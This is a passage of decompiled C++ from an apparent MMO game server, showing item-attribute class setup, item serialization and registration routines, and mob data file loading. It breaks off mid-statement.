this->iacc_upgradebluegem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeBlueGem::_vftable_; this->iacc_upgradegoldgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeGoldGem::_vftable_; this->iacc_kqstep.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_KQStep::_vftable_; this->iacc_feed.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Feed::_vftable_; this->iacc_riding.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Riding::_vftable_; this->iacc_amount.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Amount::_vftable_; this->iacc_costumweapon.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_CostumWeapon::_vftable_; this->iacc_actionitem.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ActionItem::_vftable_; v1 = this; v1->iacc_Array[0] = (ItemAttributeClass *)v1; v1->iacc_Array[1] = (ItemAttributeClass *)v1; v1->iacc_Array[2] = (ItemAttributeClass *)v1; v1->iacc_Array[3] = (ItemAttributeClass *)v1; v1->iacc_Array[4] = (ItemAttributeClass *)v1; v1->iacc_Array[5] = (ItemAttributeClass *)v1; v1->iacc_Array[6] = (ItemAttributeClass *)v1; v1->iacc_Array[7] = (ItemAttributeClass *)v1; v1->iacc_Array[8] = (ItemAttributeClass *)v1; v1->iacc_Array[9] = (ItemAttributeClass *)v1; v1->iacc_Array[10] = (ItemAttributeClass *)v1; v1->iacc_Array[11] = (ItemAttributeClass *)v1; v1->iacc_Array[12] = (ItemAttributeClass *)v1; v1->iacc_Array[13] = (ItemAttributeClass *)v1; v1->iacc_Array[14] = (ItemAttributeClass *)v1; v1->iacc_Array[15] = (ItemAttributeClass *)v1; v1->iacc_Array[16] = (ItemAttributeClass *)v1; v1->iacc_Array[17] = (ItemAttributeClass *)v1; v1->iacc_Array[18] = (ItemAttributeClass *)v1; v1->iacc_Array[19] = (ItemAttributeClass *)v1; v1->iacc_Array[20] = (ItemAttributeClass *)v1; v1->iacc_Array[21] = (ItemAttributeClass *)v1; v1->iacc_Array[22] = (ItemAttributeClass *)v1; v1->iacc_Array[23] = (ItemAttributeClass *)v1; v1->iacc_Array[24] = (ItemAttributeClass *)v1; v1->iacc_Array[25] = (ItemAttributeClass *)v1; v1->iacc_Array[26] = (ItemAttributeClass *)v1; v1->iacc_Array[27] = (ItemAttributeClass *)v1; this->iacc_Array[0] = (ItemAttributeClass *)&this->iacc_bytelot; this->iacc_Array[4] = (ItemAttributeClass *)&this->iacc_amulet; this->iacc_Array[5] = (ItemAttributeClass *)&this->iacc_weapon; this->iacc_Array[6] = (ItemAttributeClass *)&this->iacc_armor; this->iacc_Array[7] = (ItemAttributeClass *)&this->iacc_shield; v1->iacc_Array[1] = (ItemAttributeClass *)&v1->iacc_wordlot; v1->iacc_Array[2] = (ItemAttributeClass *)&v1->iacc_dwrdlot; v1->iacc_Array[3] = (ItemAttributeClass *)&v1->iacc_quest; this->iacc_Array[8] = (ItemAttributeClass *)&this->iacc_boot; this->iacc_Array[9] = (ItemAttributeClass *)&this->iacc_furniture; this->iacc_Array[10] = (ItemAttributeClass *)&this->iacc_decorate; this->iacc_Array[11] = (ItemAttributeClass *)&this->iacc_skillscroll; this->iacc_Array[12] = (ItemAttributeClass *)&this->iacc_recallscroll; this->iacc_Array[13] = (ItemAttributeClass *)&this->iacc_binditem; this->iacc_Array[14] = (ItemAttributeClass *)&this->iacc_upsource; this->iacc_Array[15] = (ItemAttributeClass *)&this->iacc_itemchest; this->iacc_Array[16] = (ItemAttributeClass *)&this->iacc_weapontitlalicence; this->iacc_Array[17] = (ItemAttributeClass *)&this->iacc_kingdomquest; this->iacc_Array[18] = (ItemAttributeClass *)&this->iacc_minihouseskin; this->iacc_Array[19] = (ItemAttributeClass *)&this->iacc_upgraderedgem; this->iacc_Array[20] = (ItemAttributeClass *)&this->iacc_upgradebluegem; this->iacc_Array[25] = (ItemAttributeClass *)&this->iacc_upgradegoldgem; this->iacc_Array[21] = (ItemAttributeClass *)&this->iacc_kqstep; this->iacc_Array[22] = (ItemAttributeClass *)&this->iacc_feed; this->iacc_Array[23] = (ItemAttributeClass *)&this->iacc_riding; this->iacc_Array[24] = (ItemAttributeClass *)&this->iacc_amount; this->iacc_Array[26] = (ItemAttributeClass *)&this->iacc_costumweapon; this->iacc_Array[27] = (ItemAttributeClass *)&this->iacc_actionitem; } // 5D8450: using guessed type int (__stdcall *ItemAttributeClass___vftable_[3])(int itm, int buffer); // 5D84E0: using guessed type int (__stdcall *ItemAttrCls_ByteLot___vftable_[2])(int itm, int buffer); // 5D8570: using guessed type int (__stdcall *ItemAttrCls_WordLot___vftable_[2])(int itm, int buffer); // 5D8600: using guessed type int (__stdcall *ItemAttrCls_DwrdLot___vftable_[2])(int itm, int buffer); // 5D8690: using guessed type int (__stdcall *ItemAttrCls_QuestLot___vftable_[2])(int itm, int buffer); // 5D8720: using guessed type int (__stdcall *ItemAttrCls_Amulet___vftable_[2])(int itm, int buffer); // 5D87B0: using guessed type int (__stdcall *ItemAttrCls_Weapon___vftable_[2])(int itm, int buffer); // 5D8840: using guessed type int (__stdcall *ItemAttrCls_Armor___vftable_[2])(int itm, int buffer); // 5D88D0: using guessed type int (__stdcall *ItemAttrCls_Shield___vftable_[2])(int itm, int buffer); // 5D8960: using guessed type int (__stdcall *ItemAttrCls_Boot___vftable_[2])(int itm, int buffer); // 5D89F0: using guessed type int (__stdcall *ItemAttrCls_Furniture___vftable_[2])(int itm, int buffer); // 5D8A80: using guessed type int (__stdcall *ItemAttrCls_Decoration___vftable_[2])(int itm, int buffer); // 5D8B10: using guessed type int (__stdcall *ItemAttrCls_SkillScroll___vftable_[2])(int itm, int buffer); // 5D8BA0: using guessed type int (__stdcall *ItemAttrCls_RecallScroll___vftable_[2])(int itm, int buffer); // 5D8C30: using guessed type int (__stdcall *ItemAttrCls_BindItem___vftable_[2])(int itm, int buffer); // 5D8CC0: using guessed type int (__stdcall *ItemAttrCls_UpSource___vftable_[2])(int itm, int buffer); // 5D8D50: using guessed type int (__stdcall *ItemAttrCls_ItemChest___vftable_[2])(int itm, int buffer); // 5D8DE0: using guessed type int (__stdcall *ItemAttrCls_WeaponTitlaLicence___vftable_[2])(int itm, int buffer); // 5D8E70: using guessed type int (__stdcall *ItemAttrCls_KingdomQuestItem___vftable_[3])(int itm, int buffer); // 5D8F00: using guessed type int (__stdcall *ItemAttrCls_MiniHouseSkin___vftable_[2])(int itm, int buffer); // 5D8F90: using guessed type int (__stdcall *ItemAttrCls_UpgradeRedGem___vftable_[2])(int itm, int buffer); // 5D9020: using guessed type int (__stdcall *ItemAttrCls_UpgradeBlueGem___vftable_[2])(int itm, int buffer); // 5D90B0: using guessed type int (__stdcall *ItemAttrCls_UpgradeGoldGem___vftable_[2])(int itm, int buffer); // 5D9140: using guessed type int (__stdcall *ItemAttrCls_KQStep___vftable_[2])(int itm, int buffer); // 5D91D0: using guessed type int (__stdcall *ItemAttrCls_Feed___vftable_[2])(int itm, int buffer); // 5D9260: using guessed type int (__stdcall *ItemAttrCls_Riding___vftable_[2])(int itm, int buffer); // 5D92F0: using guessed type int (__stdcall *ItemAttrCls_Amount___vftable_[2])(int itm, int buffer); // 5D9380: using guessed type int (__stdcall *ItemAttrCls_CostumWeapon___vftable_[3])(int itm, int buffer); // 5D9410: using guessed type int (__stdcall *ItemAttrCls_ActionItem___vftable_[2])(int itm, int buffer); //----- (00551C90) -------------------------------------------------------- void __thiscall ItemAttributeClassContainer::_ItemAttributeClassContainer(ItemAttributeClassContainer *this) { this->iacc_actionitem.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_costumweapon.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_amount.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_riding.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_feed.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_kqstep.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgradegoldgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgradebluegem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgraderedgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_minihouseskin.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_kingdomquest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_weapontitlalicence.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_itemchest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upsource.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_binditem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_recallscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_skillscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_decorate.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_furniture.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_boot.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_shield.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_armor.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_weapon.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_amulet.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_quest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_dwrdlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_wordlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_bytelot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_default.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; } // 5D8450: using guessed type int (__stdcall *ItemAttributeClass___vftable_[3])(int itm, int buffer); //----- (00551CF0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amulet::iac_fill2buffer(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x2Au); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[17] >> 1) + 18] + ((unsigned int)(unsigned __int8)buffer[17] >> 1); } //----- (00551D20) -------------------------------------------------------- char *__thiscall ItemAttrCls_Weapon::iac_fill2buffer(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x45u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[44] >> 1) + 45] + ((unsigned int)(unsigned __int8)buffer[44] >> 1); } //----- (00551D50) -------------------------------------------------------- char *__thiscall ItemAttrCls_Shield::iac_fill2buffer(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x20u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[7] >> 1) + 8] + ((unsigned int)(unsigned __int8)buffer[7] >> 1); } //----- (00551D80) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amulet::iac_fill2struct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x2Au); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[17] >> 1) + 18] + ((unsigned int)(unsigned __int8)buffer[17] >> 1); } //----- (00551DB0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Weapon::iac_fill2struct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x45u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[44] >> 1) + 45] + ((unsigned int)(unsigned __int8)buffer[44] >> 1); } //----- (00551DE0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Shield::iac_fill2struct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x20u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[7] >> 1) + 8] + ((unsigned int)(unsigned __int8)buffer[7] >> 1); } //----- (00551E10) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Amulet::iac_GetAttrSize(ItemAttrCls_Amulet *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)itmattr->amulet.option.fixed.optionnumber.str._bf0 >> 1) + 18; } //----- (00551E30) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Weapon::iac_GetAttrSize(ItemAttrCls_Weapon *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)itmattr->weapon.option.fixed.optionnumber.str._bf0 >> 1) + 45; } //----- (00551E50) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Armor::iac_GetAttrSize(ItemAttrCls_Boot *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)LOBYTE(itmattr->amulet.upgradeopton[0]) >> 1) + 8; } //----- (00551E70) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_itemcreate(ItemAttributeClass *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_registnum.binary.gap0[0] = -1; itm->iti_registnum.binary._bf4 = -1; memset(&itm->iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(itm->iti_itemstruct.itemattr.binditem.portal[9].y) = 0; itm->iti_itemstruct.itemid = -1; } //----- (00551EA0) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_union(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { *(_WORD *)buffer = itmid; return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer + 2); } //----- (00551ED0) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_atrib(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer); } //----- (00551EF0) -------------------------------------------------------- void __thiscall ItemTotalInformation::iti_mkregnum(ItemTotalInformation *this, int method, int zone, int world) { ItemTotalInformation *v4; // esi@1 int v5; // ecx@1 char v6; // dl@1 int v7; // eax@1 unsigned int v8; // eax@1 struct _SYSTEMTIME tmstr; // [sp+4h] [bp-10h]@1 v4 = this; GetLocalTime(&tmstr); v5 = *(_DWORD *)&v4->iti_registnum.binary.gap0[0] & 0xFC000000 | ((method & 0xF | 16 * (zone & 0x1F | 32 * (unsigned __int8)serial)) << 9); v6 = tmstr.wYear; v7 = tmstr.wSecond << 26; *(_DWORD *)&v4->iti_registnum.binary.gap0[0] = v5; ++serial; v8 = (unsigned int)&wholesaver.ws_savestore[745].esc_skill.buffer[10371] & v5 | v7; LOBYTE(v5) = LOBYTE(tmstr.wMonth); *(_DWORD *)&v4->iti_registnum.binary.gap0[0] = v8; v4->iti_registnum.binary._bf4 = tmstr.wMinute & 0x3F | ((tmstr.wHour & 0x1F | 32 * (tmstr.wDay & 0x1F | 32 * (v5 & 0xF | 16 * (32 * (world & 0x3F) | (v6 - 16) & 0x1F)))) << 6); } //----- (00551FA0) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { *(_QWORD *)buffer = *(_QWORD *)&this->iti_registnum.binary.gap0[0]; *((_WORD *)buffer + 4) = itmid; return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer + 10); } //----- (00551FD0) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2struct_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { char *v4; // edi@1 ItemAttributeClass *v5; // eax@1 *(_QWORD *)&this->iti_registnum.binary.gap0[0] = *(_QWORD *)buffer; v4 = (char *)&this->iti_itemstruct; this->iti_itemstruct.itemid = *((_WORD *)buffer + 4); v5 = ItemAttributeClassContainer::operator__(&itmattcontainer, *((_WORD *)buffer + 4)); return (char *)v5->vfptr->iac_fill2struct(v5, (SHINE_ITEM_STRUCT *)v4, buffer + 10); } //----- (00552010) -------------------------------------------------------- int __thiscall MobDataBox::mdb_SpeciesDistance(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB) { MobDataBox::MobDataBoxIndex *v3; // eax@3 MobSpecies *v4; // ecx@3 MobSpecies *v5; // eax@3 int v6; // ebp@5 const char *v7; // edi@5 int v8; // eax@5 int result; // eax@9 if ( mobA != -1 && mobB != -1 && (v3 = this->mdb_index, v4 = v3[mobA].species, v5 = v3[mobB].species, v4) && v5 ) { v6 = 0; v7 = (const char *)v4->MobName; v8 = (char *)v5 - (char *)v4; while ( *v7 == 45 || strcmp(v7, &v7[v8]) ) { ++v6; v7 += 33; if ( v6 >= 4 ) return -1; } result = v6; } else { result = -1; } return result; } //----- (005520C0) -------------------------------------------------------- MobInfo *__thiscall BinaryDataBox::operator__(BinaryDataBox *this, unsigned int index) { MobInfo *result; // eax@2 if ( index < this->baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) result = (MobInfo *)CDataReader::GetRecord(&this->baseclass_0.baseclass_0, index); else result = &this->bdb_defaultblock; return result; } //----- (005520E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x4D2u, 0x6Cu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00552190) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1B82u, 0xA3u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00552240) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xB2Au, 0x9Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005522F0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x24Fu, 0x86u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005523A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x25u, 8u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00552450) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xBu, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00552500) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 7u, 0x22u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005525B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x16u, 7u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00552660) -------------------------------------------------------- BinaryData *__thiscall MobDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x6Cu); CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 168)); memset(&v1[3].baseclass_0.m_pHead, 0, 0xA0u); *(_WORD *)&v1[6].baseclass_0.m_sFileMD5.n8_name[12] = 0; v1[6].baseclass_0.m_sFileMD5.n8_name[14] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 392)); memset(&v1[7].baseclass_0.m_sFileMD5.n8_name[16], 0, 0x98u); LOWORD(v1[10].baseclass_0.m_nBFSize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 608)); memset(&v1[11].baseclass_0.m_nDataArraySize, 0, 0x84u); *(_WORD *)&v1[13].baseclass_0.m_sFileMD5.n8_name[4] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 804)); *(_DWORD *)&v1[14].baseclass_0.m_sFileMD5.n8_name[8] = 0; *(_DWORD *)&v1[14].baseclass_0.m_sFileMD5.n8_name[12] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 872)); *(_DWORD *)&v1[15].baseclass_0.m_sFileMD5.n8_name[16] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 936)); *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[20] = 0; *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[24] = 0; *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[28] = 0; v1[16].baseclass_0.m_pHead = 0; v1[16].baseclass_0.m_pData = 0; v1[16].baseclass_0.m_pDataArray = 0; v1[17].baseclass_0.m_nFileSize = 0; v1[17].baseclass_0.m_nBFSize = 0; LOWORD(v1[17].baseclass_0.m_nDataArraySize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 1032)); v1[18].baseclass_0.m_nFileCheckSum = 0; *(_WORD *)&v1[18].baseclass_0.m_sFileMD5.n8_name[0] = 0; v1[18].baseclass_0.m_sFileMD5.n8_name[2] = 0; return v1; } //----- (00552790) -------------------------------------------------------- void __thiscall MobDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 1032)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 936)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 872)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 804)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 608)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 392)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 168)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00552840) -------------------------------------------------------- void __thiscall MobDataBox::_MobDataBox(MobDataBox *this) { MobDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mdb_index; if ( v2 ) operator delete(v2); BTree::_BTree(&v1->mdb_btree); MobDataBox::__unnamed::___unnamed(&v1->mdb_BinData.mobinf.baseclass_0); } //----- (005528B0) -------------------------------------------------------- void __thiscall MobDataBox::mdb_Load(MobDataBox *this) { MobDataBox *v1; // esi@1 unsigned int v2; // eax@1 CDataReader::HEAD *v3; // ecx@1 unsigned int v4; // edi@3 void *v5; // eax@5 void *v6; // eax@8 int v7; // ebx@10 void *v8; // eax@11 int v9; // eax@13 unsigned int v10; // eax@19 unsigned int v11; // edi@19 void *v12; // eax@21 void *v13; // eax@25 void *v14; // eax@29 unsigned int v15; // edx@32 int v16; // eax@32 unsigned int v17; // ebp@34 void *v18; // eax@36 int v19; // edi@38 void *v20; // eax@39 int v21; // ebx@41 void *v22; // eax@42 int v23; // ebx@48 int v24; // eax@48 void *v25; // eax@54 void *v26; // eax@57 void *v27; // eax@60 unsigned int v28; // edi@62 void *v29; // eax@64 unsigned int v30; // edi@70 void *v31; // eax@72 MobInfoServer *v32; // eax@78 unsigned int v33; // ebx@79 void *v34; // eax@81 unsigned int v35; // ebp@86 unsigned int v36; // ebx@86 void *v37; // edi@88 unsigned __int16 v38; // ax@90 int id; // [sp+10h] [bp-50h]@7 int ida; // [sp+10h] [bp-50h]@38 signed int nMobKillAnnounce; // [sp+14h] [bp-4Ch]@1 unsigned int nMobKillLog; // [sp+18h] [bp-48h]@1 char buffer[64]; // [sp+1Ch] [bp-44h]@17 v1 = this; BinaryDataBox::bdb_ReadData(&this->mdb_BinData.mobinf, "../9Data/Shine/MobInfo.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobspec, "../9Data/Shine/MobSpecies.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobweapon, "../9Data/Shine/MobWeapon.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobinfserv, "../9Data/Shine/MobInfoServer.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobkillannounce, "../9Data/Shine/MobKillAnnounce.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobkilllog, "../9Data/Shine/MobKillLog.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.moblifetime, "../9Data/Shine/MobLifeTime.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobKillablePermission, "../9Data/Shine/MobKillAble.shn"); v2 = v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0.m_pHead; v1->mdb_mobspacies = v2; nMobKillAnnounce = v3->nNumOfRecord; nMobKillLog = 